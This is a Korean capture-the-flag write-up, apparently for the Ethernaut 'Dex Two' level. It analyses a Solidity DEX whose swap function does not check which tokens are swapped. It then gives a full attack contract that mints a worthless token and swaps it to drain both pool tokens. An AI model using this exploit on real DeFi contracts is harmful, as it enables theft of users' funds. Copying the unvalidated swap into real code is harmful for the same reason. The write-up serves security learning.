이번 문제는 이 전 문제인 Dex와 비슷한 로직의 컨트랙트를 사용하고 목표 또한 비슷하지만 조금씩 다릅니다.
swap에서 일정 부분이 변경되었다고 합니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
자세히 보면 swap 부분에서 from, to token의 주소 검사를 안하는 것을 볼 수 있습니다.
나머지 부분은 모두 동일합니다. 사용자, 덱스에 존재하는 토큰의 수도 모두 동일합니다.
문제는 두 종류의 토큰을 모두 빼앗아야 하는데 DEX를 이용하게 되면 유동성 풀에 존재하는 한 종류의 토큰은 무조건 덱스에 지급해야 하기 때문에 pair 토큰의 잔액을 동시에 0으로 만들어 버리는 것은 불가능합니다. 그리고 한 종류의 토큰이 0이라면 swap amount가 0이 되거나 Zero Division Error가 발생할 수 있습니다.
위에서 분석한 결과와 같이 두 종류의 토큰만을 사용해서 pair 토큰의 잔액을 동시에 0으로 만드는 것은 불가능합니다. 그렇다면 제 3의 토큰을 사용해서 가격을 조작하고 토큰을 모두 빼내야 합니다.
마침 swap 함수에서 pair 토큰인지 검사하는 로직이 빠졌기 때문에 이 공격이 가능할 것입니다.
공격은 다음과 같이 이루어질 것 입니다.
- 공격 컨트랙트는 ERC20을 상속받아 토큰의 한종류가 될 것입니다 or 컨트랙트에 존재하는 SwappableTokenTwo 상속 가능
- 문제 컨트랙트(DEX)에 일정 부분은 mint or transfer
- 문제 컨트랙트(DEX)에게 공격 토큰 전송 권한 위임(approve)
- swap이 모두 transferfrom으로 이뤄지고 있기 때문에 그렇습니다.
- token1 swap
- token2 swap
DEX에 만약 1 토큰만 민팅했다면 이미 토큰 비율이 1:100이기 때문에 4번 과정에서는 amount를 1만 설정해도 100개가 돌아올 것 입니다.
하지만 5번 과정에서는 공격 토큰이 2개가 되었기 때문에 amount를 2로 설정해야 100개가 돌아올 것 입니다. 혹은 이 계산이 귀찮다면 공격 컨트랙트는 ERC20 컨트랙트이기 때문에 DEX에 있는 토큰을 1개 burn 시켜 토큰 비율을 다시 1:100으로 맞춰 5번 과정에서도 amount를 1로 설정해도 됩니다.
contract Attack is ERC20 {
Dex public target = Dex(0xb7020a5442c1bF3835E4E93b718457447a0A906f);
constructor() ERC20("fake token","ft") {
_mint(address(this), 3);
_mint(address(target), 1);
}
function attack() public {
address token1 = target.token1();
address token2 = target.token2();
super._approve(address(this), address(target), 3);
target.swap(address(this), token1, 1);
target.swap(address(this), token2, 2);
}
}
공격 컨트랙트 입니다. 딱 사용할 만큼만 민팅하고 approve 해줬습니다. 귀찮다면 모두 큰 수로 진행해도 됩니다.